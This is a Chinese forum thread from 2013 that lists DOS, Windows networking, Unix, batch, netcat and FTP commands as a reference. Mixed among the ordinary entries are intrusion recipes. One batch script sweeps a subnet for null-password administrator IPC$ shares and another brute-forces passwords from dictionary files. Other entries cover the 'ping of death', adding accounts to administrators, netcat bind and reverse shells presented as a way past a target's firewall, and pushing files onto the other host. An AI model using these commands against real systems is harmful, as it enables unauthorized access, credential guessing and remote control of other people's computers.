大众电脑吧 关注:5贴子:34
  • 5回复贴,共1

【知识技巧】 DOS命令大全

只看楼主收藏回复

【知识技巧】 DOS命令大全(经典收藏)
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:"-l[空格]数据包大小";"-n发送数据次数";"-t"指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数"/all"显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件,"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件
#2 二:
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令


IP属地:安徽1楼2013-12-21 16:55回复
    cat >abc.txt 往abc.txt文件中写上内容。
    more 文件名 以一页一页的方式显示一个文本文件。
    cp 复制文件
    mv 移动文件
    rm 文件名 删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名 建立目录
    rmdir 删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date 现在的日期、时间
    who 查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami 查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su 权限转换为指定使用者
    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)
    附:批处理命令与变量
    1:for命令及变量 基本格式:
    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
    (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;"(1 -1 254)"说明:即从254到1 }
    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
    command_parameters:为特定命令指定参数或命令行开关
    IN (set):指在(set)中取值;DO command :指执行command
    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
    用法举例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt
    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
    #7 七:
    2:if命令及变量 基本格式:
    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为"真"。
    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
    0 指发现并成功执行(真);1 指没有发现、没执行(假)。
    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。


    IP属地:安徽5楼2013-12-21 16:58
    回复
      例:"if "%2%"=="4" goto start"指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
      IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
      例:"if not nc.exe goto end"指:如果没有发现nc.exe文件就跳到":end"标签处。
      IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:"if exist test.txt. else echo test.txt.missing ",注意命令中的"."
      (二)系统外部命令(均需下载相关工具):
      1、瑞士军刀:nc.exe
      参数说明:
      -h 查看帮助信息
      -d 后台模式
      -e prog程序重定向,一但连接就执行〔危险〕
      -i secs延时的间隔
      -l 监听模式,用于入站连接
      -L 监听模式,连接天闭后仍然继续监听,直到CTR+C
      -n IP地址,不能用域名
      -o film记录16进制的传输
      -p[空格]端口 本地端口号
      -r 随机本地及远程端口
      -t 使用Telnet交互方式
      -u UDP模式
      -v 详细输出,用-vv将更详细
      -w数字 timeout延时间隔
      -z 将输入,输出关掉(用于扫锚时)
      基本用法:
      nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
      nc -l -p 80 开启本机的TCP 80端口并监听
      nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
      nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
      nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
      高级用法:
      nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
      nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
      nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
      type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
      本机上用:nc -l -p 本机端口
      在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
      nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
      本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
      在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
      备 注:
      | 管道命令
      < 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
      @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
      >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
      如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
      #8 八:
      2、扫锚工具:xscan.exe
      基本格式
      xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息


      IP属地:安徽6楼2013-12-21 16:59
      回复
        29.mdelete[remote-file]:删除远程主机文件。
        30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。
        31.mget remote-files:传输多个远程文件。
        32.mkdir dir-name:在远程主机中建一目录。
        33.mls remote-file local-file:同nlist,但可指定多个文件名。
        34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。
        35.modtime file-name:显示远程主机文件的最后修改时间。
        36.mput local-file:将多个文件传输至远程主机。
        37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
        38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。
        39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
        40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
        41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
        42.passive:进入被动传输方式。
        43.prompt:设置多个文件传输时的交互提示。
        44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
        45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
        46.pwd:显示远程主机的当前工作目录。
        47.quit:同bye,退出ftp会话。
        48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.
        49.recv remote-file[local-file]:同get。
        50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。
        51.rhelp[cmd-name]:请求获得远程主机的帮助。
        52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。
        53.rename[from][to]:更改远程主机文件名。
        54.reset:清除回答队列。
        55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
        56.rmdir dir-name:删除远程主机目录。
        57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
        58.send local-file[remote-file]:同put。
        59.sendport:设置PORT命令的使用。
        60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。
        61.size file-name:显示远程主机文件大小,如:site idle 7200。
        62.status:显示当前ftp状态。
        63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
        64.sunique:将远程主机文件名存储设置为只一(与runique对应)。
        65.system:显示远程主机的操作系统类型。
        66.tenex:将文件传输类型设置为TENEX机的所需的类型。
        67.tick:设置传输时的字节计数器。
        68.trace:设置包跟踪。
        69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
        70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3
        71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
        72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.


        IP属地:安徽9楼2013-12-21 17:01
        回复
          73.?[cmd]:同help.
          #11 十一:
          7:计算机运行命令全集 winver---------检查Windows版本
          wmimgmt.msc----打开windows管理体系结构
          wupdmgr--------windows更新程序
          winver---------检查Windows版本
          wmimgmt.msc----打开windows管理体系结构
          wupdmgr--------windows更新程序
          wscript--------windows脚本宿主设置
          write----------写字板winmsd-----系统信息
          wiaacmgr-------扫描仪和照相机向导
          winchat--------XP自带局域网聊天
          mem.exe--------显示内存使用情况
          Msconfig.exe---系统配置实用程序
          mplayer2-------简易widnows media player
          mspaint--------画图板
          mstsc----------远程桌面连接
          mplayer2-------媒体播放机
          magnify--------放大镜实用程序
          mmc------------打开控制台
          mobsync--------同步命令
          dxdiag---------检查DirectX信息
          drwtsn32------ 系统医生
          devmgmt.msc--- 设备管理器
          dfrg.msc-------磁盘碎片整理程序
          diskmgmt.msc---磁盘管理实用程序
          dcomcnfg-------打开系统组件服务
          ddeshare-------打开DDE共享设置
          dvdplay--------DVD播放器
          net stop messenger-----停止信使服务
          net start messenger----开始信使服务
          notepad--------打开记事本
          nslookup-------网络管理的工具向导
          ntbackup-------系统备份和还原
          narrator-------屏幕"讲述人"
          ntmsmgr.msc----移动存储管理器
          ntmsoprq.msc---移动存储管理员操作请求
          netstat -an----(TC)命令检查接口
          syncapp--------创建一个公文包
          sysedit--------系统配置编辑器
          sigverif-------文件签名验证程序
          sndrec32-------录音机
          shrpubw--------创建共享文件夹
          secpol.msc-----本地安全策略
          syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
          services.msc---本地服务设置
          Sndvol32-------音量控制程序
          sfc.exe--------系统文件检查器
          sfc /scannow---windows文件保护
          tsshutdn-------60秒倒计时关机命令
          tourstart------xp简介(安装完成后出现的漫游xp程序)
          taskmgr--------任务管理器
          eventvwr-------事件查看器
          eudcedit-------造字程序
          explorer-------打开资源管理器
          packager-------对象包装程序
          perfmon.msc----计算机性能监测程序
          progman--------程序管理器
          regedit.exe----注册表
          rsop.msc-------组策略结果集
          regedt32-------注册表编辑器
          rononce -p ----15秒关机
          regsvr32 /u *.dll----停止dll文件运行
          regsvr32 /u zipfldr.dll------取消ZIP支持
          cmd.exe--------CMD命令提示符
          chkdsk.exe-----Chkdsk磁盘检查
          certmgr.msc----证书管理实用程序
          calc-----------启动计算器
          charmap--------启动字符映射表
          cliconfg-------SQL SERVER 客户端网络实用程序
          Clipbrd--------剪贴板查看器
          conf-----------启动netmeeting
          compmgmt.msc---计算机管理
          cleanmgr-------**整理
          ciadv.msc------索引服务程序
          osk------------打开屏幕键盘
          odbcad32-------ODBC数据源管理器
          oobe/msoobe /a----检查XP是否激活
          lusrmgr.msc----本机用户和组
          logoff---------注销命令
          iexpress-------木马捆绑工具,系统自带
          Nslookup-------IP地址侦测器
          fsmgmt.msc-----共享文件夹管理器
          utilman--------辅助工具管理器
          gpedit.msc-----组策略


          IP属地:安徽10楼2013-12-21 17:01
          回复
            累死我了,搞这么多。。。。


            IP属地:安徽11楼2013-12-21 17:01
            回复